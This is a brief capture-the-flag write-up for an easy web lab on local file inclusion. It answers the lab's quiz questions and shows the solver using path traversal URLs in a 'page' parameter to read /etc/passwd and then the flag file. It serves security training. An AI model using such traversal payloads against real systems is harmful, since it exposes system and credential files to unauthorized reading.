

Labs / Include me

Easy

Welcome to our CTF challenge "Include Me"! This challenge is designed to test your technical skills and problem-solving abilities. Here's what you need to know to get started:

Steps to Success

1. **Start the Machine:** Begin by running the provided virtual machine.
2. **Complete Tasks:** Follow the tasks to gather clues and progress through the challenge.
3. **Explore the Application:** Investigate the web application thoroughly.

Hint

- **Pay Attention to File Paths:** Sometimes, exploring different file paths can reveal hidden information.

Goal

Your goal is to find the hidden flag formatted as a UUID. Use your skills and creativity to uncover it. Good luck and have fun!

↺ Reset Machine

⏏ Stop Machine

3.253.106.68

What development language is used to code the website of the target? Also known as P Hypertext Preprocessor**

-ANS: php

What does LFI stand for in web security?

-ANS: **Local File Inclusion**

flag.txt

this is gonna be LFI so i went to /etc/passwd and it worked

<http://18.201.10.125/index.php?page=../../../../../../../../../../../../etc/passwd>

so straight forward went to check flag.txt

<http://18.201.10.125/index.php?page=../../../../../../../../../../../../flag.txt>

and got the flag
